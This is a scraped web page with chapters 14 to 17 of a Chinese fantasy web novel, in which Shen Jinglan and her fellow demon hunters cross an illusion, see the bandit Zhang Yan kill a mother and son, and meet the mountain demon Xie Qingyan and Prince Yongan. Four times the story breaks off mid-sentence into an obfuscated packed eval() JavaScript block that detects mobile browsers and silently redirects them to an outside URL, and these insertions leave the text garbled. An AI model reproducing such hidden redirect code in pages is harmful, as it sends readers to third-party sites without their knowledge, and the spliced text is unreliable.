“咱这河少,向东十几里外有条小河,今年雨水少,河已经没水了。”
这不可能,原著中明明有条大河。沈惊澜还想追问什么,被一阵急促的敲门声打断。
战马喷出的鼻息透过门缝,传入一股刺鼻的味道。
“是张衍,一定是张衍!”
妇人用木桶抵住门,跑到屋子最里边冲几人招手,压低声音急切道:“这里有地窖,你们快进来躲躲。”
沈惊澜拉着她:“你不躲吗?”
妇人把他们推到地窖下,虚掩上木板,擤了擤鼻子,带着决绝:“这里是万州,是我家,我没什么好躲的。”
“娘!开门!是我,我回来了!”门外响起一个男子的声音。
妇人蓦地回头望向木门,瞪大了眼睛不可置信地确认:“顺子?”
“娘,是我,是顺子,我回来了,快开门。”
门外的人敲得急切,妇人顾不得其他,跑到门口“哗”地打开门。
她愣在原地。
几人看不清门外的情况,只看到一支长枪抵在妇人胸口。她被逼着后退,被眼前的阵仗吓得忘记了思考。
寒风灌进屋子,吹乱了妇人梳理整齐的鬓角。
一片死寂中,一个年轻的小兵跑进来挡在妇人面前,跪下握住长枪,俯首替她求饶:“大王,求您放了我娘吧。”
然后又回头对妇人道:“娘,家里还有银两吗?交出银两大王就会放过我们的。”
他看起来不过十六七岁,跟卫昭明差不多的年纪,有点矮,很瘦,盔甲在他身上显得空空荡荡。一路行军,脸被晒得黑里透红,右脸一道刀疤,刚刚结痂。
妇人置若罔闻,伏身扑在顺子身上,颤抖地摸着他冰冷坚硬的盔甲,顺着盔甲抚摸上他脸庞的刀疤,动作很轻,生怕弄疼了他。她一开口便忍不住痛哭:“你真的是顺子?你还活着?他们说你已经死了,娘还以为永远也见不到你了。”
顺子握住妇人的手,也落了泪:“娘,我没死,乡人许是听错了消息,儿子不孝,让娘担心了。”
身后的长枪动了一下,敲了敲顺子的肩膀。
顺子身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717025|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子一僵,尴尬地抹掉眼泪,起身扶着妇人,环顾四壁,问道:“娘,大王战无不胜所向披靡,便是永安王也不敢正面与我们抗衡。儿子要跟着大王建功立业,只是现在军队缺少银两。”
他顿了一下,声音弱了下去:“家里的银两呢?现在给大王银两,将来便是大功一件,娘……”
“啪”的一声打断顺子的话,他捂住脸,不敢相信许久未见的娘亲竟毫不留情地打了自己一巴掌。
妇人顺着长枪望向屋外的张衍,收起眼泪,细眉竖起,一把推开顺子,弱小的身躯厉声喝道:“你怎还为这山匪卖命!他作恶无数,杀人如麻,哪里值得你称一声‘大王’!”
所有人都怔住了,顺子被吓得软了腿,倒在张衍脚下,手碰到冰冷的长枪,像是触电般收回,然后扑向妇人,头起青筋,眼中布满血丝,颤抖地捏住妇人的肩膀几近哀求:“娘,你在说胡话是不是?你疯了!”
妇人不为所动:“你若还是我儿,还有些志气,现在就应该把剑指向张衍,为民除害!”
话音刚落,长枪穿过顺子的身体,力道不减继续向前刺去,刺入妇人的胸膛。
血顺着枪滴下,妇人和顺子还未意识到发生了什么,便一齐重重倒地。
久别故里,今日归乡,竟是这样的下场。
沈惊澜差点惊呼出声,她捂住嘴巴,旁边伸出一只手悬空覆上她的眼睛。
她已经适应很多,在幻境中见多了血,便没那么怕了;或者说,她不能再怕了。她推开卫昭明的手,只见张衍下马走进屋内,拔出长枪,挥枪斩断妇人的左手。
沈惊澜还是忍不住,握紧一旁卫昭明的衣袖。
长枪挑起她的玉镯,递给一个属下,然后转身离开。
她终于明白前一个妇人的耳朵为何会消失。
自始至终,他甚至没有说过一句话,只是一挥枪,就了结了两条性命,其中一个,还是为他冲锋陷阵的士兵。
“出来吧。”卫昭明掀开盖子爬出来,把手递给沈惊澜。
沈惊澜握住他的手,任由他把她带上来。
卫昭明微微皱眉:“手怎么这样凉?”
“被吓到了?”
沈惊澜低下头,握紧了拳头。
即使在船山命悬一线时,人妖相残,她也不曾如此害怕。泥魃不过是个嗜杀的妖怪,妖怪嗜杀并不稀奇,她也未亲眼看到泥魃杀害其他人的场面。如今却不同。
明明是幻境,明明是纸片人,她还是无法控制自己的感情,被书中的几行字吓到。从前战争离她太远了,远到只是历史书里的几页纸。没有战士厮杀的场景,没有马革裹尸河边白骨,仅仅一个残肢就让她无法呼吸。
她沉默许久,点点头,又摇了摇头:“被吓到了,但我不能怕。”
未来如何她不知道,但她知道以后的路只会更加凶险,她不能怕。
卫昭明抬起手想拍拍她的肩膀,犹豫片刻又放下。“害怕不丢人,如果我是你,我肯定怕死了。”
沈惊澜抬起头,勉强扯出一个笑容:“你安慰人也太敷衍了,原封不动照搬我的话。”
“没时间让你害怕了,还是想想怎么出去吧。”
沈惊澜笑容凝固,果然这厮还是不说话为好。
15. 第 15 章
这里的时间似乎过得很快。入夜没多久,此刻天已有些亮了。
四人前脚刚离开茅屋,后脚茅屋里已经重新点上了蜡烛。沈惊澜回头看着窗户透出的昏黄烛光,映出刚才惨死的妇人的身影,她已经复活,重复之前的忙碌,沈惊澜有些迷茫。
这里仿佛是个循环,死人可以复生,再重复死之前的轨迹,即使他们来打扰,最终影妖的轨迹也都会被一一修订。
十几里外有条干枯的小河,而她要找的是埋藏幻境玄机的大河。原著中分明提到该河汹涌,难道这里还有别的河是村民都不知道的?
应当不会,若有大河,他们更应该沿河而居。
几人到村子附近的林子暂时歇息,沈惊澜毕竟受了点伤,不宜太过劳累。
寒气太重,卫昭明拾了些树枝,用火折子点燃。
“你过来。”他冲沈惊澜招招手。
沈惊澜被火烤得正暖和,不愿动弹:“卫公子有何贵干啊?”
卫昭明忽略她的阴阳怪气,挪到她身旁,与她保持两尺的距离,“我原本想替你疗伤的,既然你这么不情愿,那我也不勉强你。”
沈惊澜没傻到跟自己的身体过不去,卫昭明示好,她自然接受,便打起精神坐直身体,双手合十,脸上堆满笑容道:“不不不,不勉强,那便有劳我们伟大的卫公子了。”
秦秋饶有兴致地看着二人,“昭明可一点不会觉得麻烦呢,我看他是求之不得。”
“师姐怎么胡言乱语了?”卫昭明不自觉大声道。
秦秋脸上的笑意更盛:“我不过随口一说,你倒是急了。”
卫昭明像个幼稚的小学生,赌气不再跟秦秋说话,黑着脸对沈惊澜僵硬道:“你转过去,背对着我。”
“哦。”沈惊澜乖乖照做,背过身去,“卫昭明,你有没有发现……”
“发现什么?”
沈惊澜回头看向他,一双明亮的眼眸璀璨如星辰,直直地望到他的眼底。
卫昭明别过眼睛,额头侧边的碎发遮住了他的眼眸:“别乱回头。”
少女圆圆的眼睛弯成月牙的弧度,一旁的火焰在她眼眸中跳动,有种摄人的秾丽,她翘起嘴角,略带苍白的嘴勾起一个坏笑:“你耳朵红了。”
然后沈惊澜很悲剧地发现自己的身体不能动了。
“卫昭明你欺负弱小!”她鼓起腮帮子,像个小河豚。
“跟你说了不要乱动。”然后一巴掌拍到她的后背。
沈惊澜刚想开骂,一股暖流从他的掌心缓缓涌入自己体内,伤口处开始痒痒,如同有小虫子在啃咬。
先是受伤,然后又被血淋淋的一幕又一幕刺激,沈惊澜身体本来已经快到极限,现在这股暖流在源源不断地给她力量,她好像可以抛却之前的恐慌,继续前行了。
沈惊澜闭上眼睛休息,淡淡的松香袭人,她吸吸鼻子,仔细闻了闻,睁开眼睛惊奇道:“你身上怎么没有血腥味了?”
说完想起来刚才他拾完树枝后,脸颊、衣袍好像也没有了血渍,清清爽爽,一如她在船山第一次见他的样子。
他身着绯红衣袍,宛若山间的桃花,高高的马尾被一根同样颜色的发带束起,发带上绣有金丝莲纹,一双微微上挑的眼眸,看似阴沉,实则就是一潭浅浅的小池,只要稍稍哄哄他,就可以搅得他心里天翻地覆,便能不顾性命地去救人。
卫昭明道:“我不喜欢血腥味,便去掉了。”脑海中闪过的,却是他沾满血的手想触碰她时,她下意识地皱紧眉头。
她不喜欢血。
“你怎么做到的?我的裙子也脏了,沾上了血。”
卫昭明收回手,解开她的定身咒,伸出右手,食指中指并拢,随意在她裙摆点了一下,浅青色的罗裙在淡红的光晕包围下,很快变得干净。
沈惊澜眼里亮起了星星:“多谢啦。”
身子好了许多,沈惊澜双腿曲起,头枕在膝盖上,望着不远处一个个茅屋,恢复思考能力。
到底是哪里出了偏差?
“这里的时间过得好快,天已经亮了这么多了,你说你身上的毒会随着这里的时间来吗?”沈惊澜望着天边的太阳,又有了新的烦恼,若两日之内未出幻境,届时卫昭明毒发,就真的没人可以保护自己了。
“不对,”秦秋突然起身,望着太阳的方向,“太阳在西边,这不是日出,是日落!”
其他三人皆是一惊。
是啊,朝辉不该如此,浓得发紫的火烧云被无穷的夜幕压住,没有初晨的朝气,没有晨露,没有早起的鸟鸣,没有一夜之后迎接朝阳的生机,一片死寂。
“咕咕——”
是猫头鹰的夜啼。
时间不是在前进,而是在后退!
裴玄恍然大悟:“怪不得第一户人家已经在用晚饭,第二户人家还在准备晚饭,而再前面的人家甚至还没有升起炊烟。”
“我们是在逆时间而行?!”沈惊澜猛地起身,面朝他们来的方向,马上否定了之前的猜测,“不对,若真是逆时间而行,我们第一次见到张衍时便不该是日落,而应该是日出。”
可那分明是日落。
“按照时间顺序,我们若依次走过这几户人家,最终到达我们进入幻境的地方,那应该就是张衍一路抢掠之后修整队伍的地方,可那里分明刚发生过一场战争,若不是张衍,谁还会在万州作战,又是与谁作战?”
沈惊澜越说心越冷,这个幻境的时间不是线性的,时间若是错乱,如何跟随张衍的行踪找到河流?
一定有哪里被忽略了。
“【裴玄好感度】:20%。”
眼前突然出现突兀的字眼。
沈惊澜脱口而出:“现在不是说这个的时候!”
这点小小的异样立刻被卫昭明捕捉到:“你说什么?”
糟了,真说出口了。沈惊澜欲哭无泪,想抽烂自己的嘴。
“我是说……”沈惊澜看着卫昭明注视她的眼睛,小小的池潭清澈见底,是毫不遮掩的猜疑。
即使好感度不低,但他自始至终,都没有完全信任她。
此人很怪,有时沈惊澜觉得他就是一个缺乏别人肯定的脆弱少年,只要向他表露一点真心他便会认真放在心上,有时又觉得他其实在真正的内心外筑了一堵厚厚的墙,总是与人有一层隔阂、猜忌。
仿佛在船山时他郑重的承诺是他精神分裂时所说。
沈惊澜镇定下来,面露忧色:“我是说,幻境之中或许还有其他力量,否则张衍不应该也成为幻境之中的一个影妖。”
卫昭明意外地没有深究。
裴玄道:“张衍乘船东渡之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717026|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后,史书上关于万州的记载便寥寥无几,其中必有隐情。”
“或许真如阿兰所说,张衍也不过是这个幻境之中的小人物,是有其他力量另有所图,建此幻境。”
沈惊澜想不出:“可会是谁呢?永安王?张衍回万州已是强弩之末,永安王杀了他便是,大费周章造幻境岂不多此一举?”
她看向裴玄,他的表情似乎已有猜测。
裴玄把青风剑捧出,拇指推开剑鞘,露出一截青黑剑身,发出锐利的冷光。他眸子一凛:“青风剑乃百余年前锦绣城先祖卫符所铸,卫师祖至云山建锦绣城前所去的最后一个地方,便是万州。”
秦秋不解:“师兄是觉得此事与师祖有关?时间不一定重合,即使重合师祖游历天下,那时正好在万州也不是没有可能,光凭此就下结论未免太过草率。”
裴玄摇了摇头,拔出青风剑插进泥土中,残阳投映在剑上,拉出斜长的影子。
剑在微微抖动。
“自踏入幻境起,我便感觉青风剑剑气不稳,似感应到了什么。”
秦秋问:“那我们现在该怎么办?”
“继续走。”沈惊澜和裴玄同时答道。
裴玄看向她,剑眉微挑,如碧波透澈的眼眸闪过不明的情绪。他立在余晖下,藏青色的衣袍几乎与即将降临的夜色融为一体,然他是夜色中最最温润的明玉,莹莹生辉。
沈惊澜不愿看到的小字再次浮现在眼前:
“【裴玄好感度】:25%。”
她欲哭无泪:你们除妖师别太恋爱脑!
…………
凛州在西北,虽是初秋时分,却已飘了一场小雪。
天色已晚,谢清言披着一件黑色大氅,把自己裹得严严实实,只露出一只干瘦的手,提着一盏灯笼,绘着几枝淡淡疏梅。
凛州地处偏僻,百姓生活艰苦,故夜市也极为冷清。谢清言在夜市慢慢踱步,左顾右盼,似在寻找什么。
忽而眼睛一亮,快步走到一家卖包子的摊位前,包子刚刚上笼屉,热腾腾的蒸汽在夜色中升起,形成一层薄薄的水雾。
“包子怎么卖的?”
卖包子的张十五正在擀面,闻声停下动作抬起头来:“肉包子三文,菜包子两文。”
说完便愣住。
眼前的女子实在太瘦,脸颊深深凹陷,显得颧骨格外突出,一双凤眸下,黑眼圈挂到了脸颊上,不知道熬了几个大夜。
五官单拿出来看都极为标志,可惜凑在了一张过分干枯的脸上,反而有些突兀。
谢清言有些失落:“这样啊,我的钱不太够。”
张十五撇了撇嘴:“两文钱都没有还来买东西?去去去,没钱在这耽误我做生意。”
“不不,我有两文钱,”谢清言连忙道,“但是一个菜包子不够我吃。”
张十五乐了:“姑娘,我这一个包子可不小,你这么瘦,能吃下一个就不错了,来,我给你包一个。”
她有些为难,小声嘀咕:“我得要六个才吃得饱。”
眼前忽然一暗,一个同她一样身着墨色大氅的男子走进她的视野,还没来得及看清那人的面容,那人便道:“老板,来六个肉包子给这位姑娘,钱我付了。”
谢清言抬起眼眸,瞥到男子腰间的玉佩上,刻了一个“卫”字。
16. 第 16 章
往哪个方向走已经不重要,时间是非线性的,不断重复的只是这些人活着时的某些片段,为今之计,只能把幻境中的片段遍历一遍,获取更多的信息,才有可能找到原著中的河流。
沈惊澜提议道:“不如我们回到进入幻境的地方,也许我们进入幻境的时机不对,错过了一场重要的战争。”
“也好。”
他们原路返回,原本的小路不知何时变宽,向东望去,原本的战场被一座府邸取代。
牌匾上刻有四个大字:永安王府。
夜色又复深沉。
“这是……”四人愣住。
天一下子冷了起来,王府门前石狮子上落了一层薄雪,门口的侍卫手脚冻僵,趁人不注意小心翼翼活动活动手脚让自己暖和一些。
他们好像没注意到突兀立在寒风中的四人,目不转睛地望向前方。
秦秋傻了眼:“永安王封地在凛州,与万州一北一南,他的王府怎会出现在幻境中?”
“难道这里的幻境不是循环重复的?”
“不,”沈惊澜想到另一种可能,“也许是几个幻境交叠在一起,我们无意间进入了另一个幻境。”
茅屋中的妇人能复活,就证明他们的行动轨迹确实在重复,如今这里变为永安王府,更有可能是在这里不同的空间交叠在一起。
时间与空间,都是错乱的。
裴玄道:“我原以为此幻境是受苦受难的百姓死前执念所化,将自己与张衍永远困在幻境之中不得往生,以此报复张衍的恶行,如今看来,事情远没有这么简单。”
道路尽头,一人身披黑色大氅,头戴帷帽,提着一盏绘有几枝白梅的灯笼,从黑暗中徐徐走来。
好熟悉的感觉。沈惊澜莫名被那人吸引。
走近了,四人才看清那是一名极瘦的女子,帷帽之下是一张没有血色的脸,明明是极为艳丽的五官,偏偏看不出生机。
谢清言从四人身边走过,似没有看到他们一般,直接走到侍卫面前。
“这位大哥,我找永安王,烦请通报一声。”
侍卫打了个哈欠,不耐烦地摆了摆手:“去去去,什么人都想见王爷,你是王爷什么人?永安王府是随便什么人都能进的吗?”
“我……”谢清言垂下眼睛,上牙咬着下唇,“那算了。”
她走到石狮子旁边席地而坐,从怀里掏出一个冒着热气的包袱:“我在这等他好了。”
说完,拿出一个肉包两口吞下。
看样子她是饿坏了,六个包子眨眼间便吃完,还意犹未尽地舔舔嘴巴。“早知道有人付钱,应该再买六个的。”
沈惊澜肚子十分配合地响了起来。
三人看向她,她不好意思地挠挠头,腆着脸笑道:“看她吃得那么香,我都饿了。”
说完小声嘀咕:“什么包子这么好吃能一口气吃六个?”
这人是谁呢?沈惊澜心生一计,拍拍卫昭明肩膀,声音又细又嗲:“卫公子——”
卫昭明身子抖了抖,觉得不妙。他淡淡地瞥了她一眼:“好好说话。”
沈惊澜朝谢清言努努嘴:“那人我觉得不简单,要不你去试试她?”
卫昭明翻个白眼:“你怎么不去?”
“我是一个弱女子,若她对我动手怎么办?再说了您长得如此俊美,不好好利用起来实在太过可惜,暴殄天物!”
“那,”卫昭明道,“那应当师兄去,师兄一看就是清风朗月的正人君子,最为合适。”
沈惊澜无语:“你傻呀。”
她盯着秦秋故意大声道:“裴大哥怎能去搭讪其他女子呢?”
秦秋一听红了脸,银牙暗咬,勾起食指发力从地上飞起两颗小石子,敲到二人头上:“你们俩还唱起双簧来了,倒是越来越有默契了。”
沈惊澜揉揉脑袋,不好意思地“嘿嘿”两声,把卫昭明往前一推:“快去快去,辛苦我们伟大的卫公子啦。”
卫昭明被推到谢清言面前,没有办法,生硬地咳了两声。
谢清言无聊地摆弄地上的小石子,见有人靠近,抬起头来:“阁下有事吗?”
脸颊不再干瘦,饱满不少。
卫昭明唇角轻扬,眸含春水:“在下卫昭明,敢问姑娘芳名?”
她淡淡道:“谢清言。”
“谢姑娘可是在等永安王?永安王轻易不见人,但如果姑娘想,我可以帮你进去。”
谢清言态度依旧不咸不淡:“你又是谁?为何要帮我?”
卫昭明努力维持面上的假笑,和颜悦色道:“我不过是个乐于助人的过路人罢了,姑娘要是不愿,只当在下多此一举。”
谢清言没有立刻回答,低头继续摆弄地上的石子,动作却比之前快了很多。
片刻,“不必了,王爷今日不见,我便明日再来。”言罢起身,提着灯笼转身离开。
“哎哎哎——”沈惊澜追上前去,奈何谢清言的步子极快,她刚追了两步,便消失在茫茫的夜色中。
“别追了,”卫昭明拦住她,“她是妖,你追不上的。”
沈惊澜停下脚步,直喘粗气:“我知道她是妖,这里的人不都是影妖吗?”
“我是说,她成为影妖之前便是妖了。”
原来如此,怪不得吃了六个包子就马上长肉。
关键人物消失,唯一的线索便只剩永安王。
凛州初秋的夜晚萧瑟冷寂,街上行人稀少,地上的薄雪干净洁白,在夜色下泛出淡淡的白光。
不远处有一家卖包子的摊位,腾腾热气氤氲开,为靛蓝色的夜晚笼上一层轻纱。
热气渐渐散去,张十五收起笼屉准备收摊。
“还有包子吗?”
“没了没了,明天再来吧。”
张十五放好笼屉抬起头,见是熟悉的黑色大氅:“哎姑娘怎么又是你?方才那六个吃完了?”
谢清言点点头,苍白的手往下扯扯帷帽,遮住自己大半张脸:“一个都没了吗?我还想再要六个,方才那位公子给你多付了一些钱,应该够再买六个。”
“真没有了,这样我把钱退给你,若是你明天还想要呢,我帮你留着,明天你再来买。”
张十五从钱袋里找出十几文钱,摊在掌心仔细数了一遍,递给她:“一文不多一文不少,正好够你明天再买六个肉包子。”
“明日不用了,多谢。”谢清言把
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717027|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
钱退回,收紧大氅,很快离开。
张十五瞧着手里的钱,啧啧道:“真是奇了。”
“这位大哥,什么奇了呀?”
一个清越的女声响起,张十五一看,一名女子身着浅青色罗裙,头发简单梳起,没有过多的头饰,只簪一根细细的树枝,枝上有一朵开得正盛的桃花,粉嫩娇艳,一派春日气息。
女子肤白若雪,黛眉远伸,眉眼之间有朦胧之意,宛若画中水墨,青天远山。她眼睛弯弯如月牙,声音如同银铃,巧笑道:“你家的包子是不是特别好吃?我见有位姐姐一口气吃了六个呢。”
张十五呆愣片刻,连忙点头:“是是是,我们家的肉包子当真是一绝,不过那位姑娘真是奇了,一个人吃了六个不说,刚才还要再来买六个。”
“方才还有其他人来过吗?”
他们远远跟踪谢清言来到包子摊,薄雪上印出她的脚印。
除此之外,还有一个男人的脚印,在接近永安王府时止住脚步,凭空消失。
“有一位公子,”张十五从怀里掏出钱袋把多收的铜钱倒出来,“这位姑娘来买包子但是没钱,有一位也穿着黑色大氅的公子给她付的钱,还多付了这么多。”
“他们认识?”
张十五回忆他们当时的神态,摇摇头:“不像认识的样子。”
沈惊澜继续问道:“可曾看清那位公子的长相?”
“大概……这么高,”张十五手伸过头,“比我高个两三寸,身形瘦削,但不似那位姑娘那般枯瘦。”
“模样么……”张十五有点为难,“模样没太看清,眉眼好像与那位公子有点像。”
沈惊澜顺着他的目光看向身后的卫昭明。
“那你看到他往哪个方向走了吗?”
张十五道:“他与那位姑娘一同走的,但是很快人就不见了。”
沈惊澜抿唇一笑:“这样啊,多谢大哥,那我就不打扰大哥收摊了。”
疏星几颗,寥落惨淡。四人绕到王府后院外,谋划下一步打算。
“那人跟你有点像,不会真是卫家先祖吧?”
卫昭明耸耸肩:“说不准呢。”
沈惊澜继续推测道:“谢清言是妖,卫符是除妖师,若那人真是卫符,为何会帮谢清言付钱呢?不应该当场把她制伏才是?”
“有可能谢清言是好妖,卫符并非冥顽不化的除妖师,是非善恶,与是人是妖无关。”
“不会,”裴玄反驳道,“有言道天反时为灾,地反物为妖,民反德为乱。乱则妖灾生。”
“反物为妖,故而卫师祖留下的祖训第一条便是凡遇妖,必除之。”
凡遇妖,必除之。沈惊澜胸口发闷,原著中他们一行四人达到莽山后,沈惊澜自行去寻找须臾兽,恢复法力之时被三人撞见,从此她与裴玄之间便产生很深的隔阂。
裴玄爱她,愿意以身为祭换她性命,如今他不能爱她,她要如何活下去?
沈惊澜逼自己暂时不去想以后的事,她抬头望去,高高的围墙内一棵古树伸出枝桠,落叶凋敝,枝上点点残雪,风吹过,残雪抖落,树影婆娑之间一抹黑色的身影闪过。
“有人进了王府!”
17. 第 17 章
永安王府内。
即使入秋,府内花园依旧花开胜景,一座白玉桥临溪而建,桥身雕有玉兰花,晶莹剔透,在月光之下与白雪相映,莹莹生动。涓涓小溪带着融化的清冽雪水翻涌出一朵朵水花,与玉桥上的玉兰相映生辉。
本不是芍药开的季节,玉桥西侧偌大的花圃却开满芍药,娇粉艳红,给花园燃起一团浓烈的火焰,几朵花上残雪未消,雪下覆花,随风摇曳,给这份热烈增添几分清冷。
一个身着白衣绣有芍药银纹的男子倒在芍药花中,怀里躺着一个头戴金钗玉簪的红衣女子,朦胧醉眼半闭,下巴靠在男子胸口,满面酡红,面比花娇。她手里的酒壶垂下,滴下几滴暗红色的琼浆,染红了男子的衣袍。
“永安王,好久不见。”
一个沁凉如雪的声音响起。
男子倒在地上没有反应,倒是怀里的女子睁开眼睛,妩媚上挑的眼中闪过杀意:“你是谁,竟敢擅闯永安王府!”
谢清言枯枝般的手着提灯笼,另一只手拢了拢大氅将自己裹得更紧些,浓黑的身影与满园的芍药格格不入。她抿起嘴,面露不善:“你是除妖师。”
“没想到除妖师竟已落魄至此,要靠在王侯脚下寻欢谋生。”
祝红月微微眯起眼睛,勾人的眼眸充斥着狠厉,把身下的永安王拍醒,然后缓缓起身,手摸到腰间的软剑。她挑起艳红的嘴唇,声音略带沙哑:“什么妖敢在老娘面前造次,我看你是活腻了。”
谢清言摘下帷帽,头簪一支柳枝,两片柳叶随风摆起。脸庞虽已有了些肉,却还是比正常人干瘦不少,她唇角扯出一个疏离客气的笑,笑意未及眼底,道:“我本只想找永安王,但你命不好,偏偏这时与他在一起。”
“我最恨除妖师,也罢,我让你死得明白些。”
谢清言小心翼翼放下灯笼,把大氅脱下,施展法力让大氅悬空飘在灯笼之上两三寸处,为灯笼隔住冷风。
“今日杀你之妖乃云山山都,谢清言。”
“云山……”躲在不远处假山后面的沈惊澜觉得有点耳熟,她凑到卫昭明跟前,声音细若蚊蝇,“你们锦绣城是不是就在云山?”
他点点头。
沈惊澜好奇:“山都不都是大妖吗?那你怎么没听过谢清言的名号?”
“我不知云山还有过山都。”
沈惊澜看看裴玄和秦秋,两人摇摇头,也没听过。
这真是奇了。一个山都夜闯王府,总归会整出点新闻,难道真是时间久远,百余年后连一点只言片语都没有留下?
祝红月冷哼一声:“哦?山都倒是没杀过,在下祝红月,能做我剑下的亡魂,是你之幸。”说罢身影消失在夜色中,转瞬之间,人已经飞到谢清言的头顶,红火的裙摆飞扬,掠过谢清言苍白的面庞,裙摆之后软剑如鞭,悄然缠上谢清言的脖颈,眼看就要将她绞杀。
忽而她的身体定住,悬在半空,软剑瞬间布满无数细小的裂痕,折射出千万道破碎的银光,宛若一件精美绝伦的冰裂纹瓷器。
“叮当——”一声,软剑成为一地的“碎银”。
祝红月重重摔倒在地,握剑的手颤抖不止。
沈惊澜惊叹:“这么厉害!”
“历来妖王十之八九出自山都,如沈惊澜,便是我和师兄师姐联手,也只能勉强打成平手。”
沈惊澜你真是出息了。她决定还是保持沉默。
见祝红月倒下,永安王这才慢悠悠起身,他倒一点不怕,轻拍肩膀拂去肩头的芍药花瓣,抖抖袖子露出手,扶祝红月起身:“红月,你可是沉迷声色,法力不精了。”
祝红月低着头:“红月无能,这就叫人来。”
“不必。”永安王赵明舟伸出手指仔细为祝红月擦掉嘴角渗出的血,随意抹在衣服上,如雪中多了有一枝红梅,然后便摊开手一副随时准备受死的样子。
“她是山都,红月你都打不过,府里那群废物除妖师能有什么用?”
百余年前,天下妖怪不多,大妖更少,所以除妖师也不太精进自己的法术,赵明舟府上养除妖师已是非常稀奇。
“你是为报本王七年前火烧云山之仇而来的吧?”
谢清言点头:“不错。”
赵明舟笑了笑:“来吧,今夜本王躲不过,便不躲了。”
谢清言微微愣住,对方清俊的面庞在月光下皎皎生辉,风卷起一朵花瓣落在他的衣襟,衬得如玉一般脱尘的人多了几分俗世的因果。
他就好像白玉桥上的玉兰,不似人间物。
回过神来,谢清言声音发紧,带着她自己都没有察觉的一丝不稳:“我不是来杀你的。”
“我不随意杀人,除妖师除外。”
“据我调查得知,当年向你进言放火烧山的是一位除妖师,你只需告诉我那人是谁,我便放了你。”
是个很有原则的妖。沈惊澜试图趁机纠正几位锦绣城弟子的错误观念:“你看人家也不是滥杀无辜之妖,也讲是非对错因果报应的,所以我们对妖不能一概而论。”
卫昭明惑人的嗓音在沈惊澜耳边响起:“你这么为妖说话,难道你与妖有什么不可告人的关系?”
她立马否认:“才没有。”
卫昭明道:“山都以山为养,世间山都极少,一部分争强好胜者求妖王之位,更多的是选择隐居一方天地,不问凡事,这种山都大多和善,不会与人起冲突。”
看来他也不是冥顽不化。
“然,”紧接着转折,“绝大部分妖为早日得道,不好好修炼专吃人精气,所以杀得不冤。”
沈惊澜为自己将来掉马甲后的日子默默上了三柱香。
赵明舟道:“既是本王下的令,一切后果本王一人承担。”
“我知你在门外徘徊已久,不愿伤及无辜,如今本王就在这,你来取本王性命,无人会拦你。”说完伸出手做了一个请的动作。
祝红月急了,挡在他的身前:“殿下!”
赵明舟抓住她的手把她拽到自己身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717028|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后,望着谢清言,言辞恳切:“只求谢姑娘能放过红月,留她性命。”
原来这王爷跟除妖师是一对,这倒跟沈惊澜想得不太一样。
谢清言痛快答应:“饶了她可以,只是旁边偷听小贼的命我要了。”
她发现他们了?!四人皆是一惊。
原本在王府外,侍卫和谢清言一开始对他们都视若无睹,沈惊澜还以为幻境里的影妖就像游戏里的NPC一样,没有玩家的情况下他们会按照既定的轨迹活动,一切都是安排好的、循环往复的,只有当玩家触发条件时,才会解锁的新的剧情。
为什么谢清言会发现他们?
沈惊澜的心凉透了,裴玄和秦秋有力使不出,光靠卫昭明一个人,对抗强大的山都毫无胜算。
秦秋握住她的手,宽慰她:“没关系,方才我能用小石子打你们俩,我就在想可以用这里的其他东西作为武器,说不定也可行。”
她从地上拾起一根树枝,脸上没有丝毫惊慌,一如惯常那般春风宜人,给人温暖:“树枝也可作剑,以这里的实物为引,法力或许能起效果,放心吧,我和师兄还有师弟都会保护你的。”
沈惊澜不自觉地放下心来,但她又避开秦秋温和的眼眸,心里有点失落。大概就是没有黑化的秦秋原本的样子吧,在以她为主角的小说里,她自是完美无瑕,是与裴玄能救人于危难的英雄,而她和卫昭明这种炮灰,拼了命也只会弄得伤痕累累,像个小丑。
“哦?本王竟不知府里进了贼人,”赵明舟朝假山喊了一声,“出来吧。”
裴玄手持木剑率先踏出脚步,与此同时,与他们相对的假山后传来异响。
一个身披黑色大氅的男子出现。
几人面面相觑。
“……”
